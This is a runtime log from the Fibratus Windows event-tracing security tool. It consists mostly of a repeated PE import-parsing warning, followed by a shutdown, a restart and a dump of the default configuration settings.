+time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T11:31:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:31:37+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:31:37+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:31:38+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:32:02+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-12T11:32:02+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-12T11:32:02+01:00 level=info msg=bootstrapping with pid 13596. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-12T11:32:02+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>false] systray=>[ sound=>true enabled=>true quiet-mode=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]] rules=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + kstream ........................ [ enable-registry=>true enable-thread=>true flush-interval=>1s enable-net=>true enable-vamap=>true enable-image=>true blacklist=>[ events=>[] images=>[]] max-buffers=>36 buffer-size=>512 enable-handle=>false enable-fileio=>true enable-mem=>true enable-audit-api=>true min-buffers=>16 stack-enrichment=>true enable-dns=>true] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 level=>info log-stdout=>true formatter=>text] + output ......................... [ console=>[ enabled=>true template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ durable=>false url=>amqp://localhost:5672 exchange=>fibratus timeout=>5s tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient enabled=>false exchange-type=>topic vhost=>/ routing-key=>fibratus] http=>[ enabled=>false serializer=>json endpoints=>[] method=>POST timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck=>true flush-period=>1s bulk-workers=>1 trace-log=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck-timeout=>5s timeout=>5s template-name=>fibratus sniff=>false enabled=>false healthcheck-interval=>10s]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ kparams=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s alert-via=>mail skip-files=>true alert-template=>[] excluded-files=>[] fastscan=>true enabled=>false] source=bootstrap/bootstrap.go:183 +time=2025-11-12T11:32:02+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-12T11:32:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:32:05+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:32:05+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:32:05+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:32:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 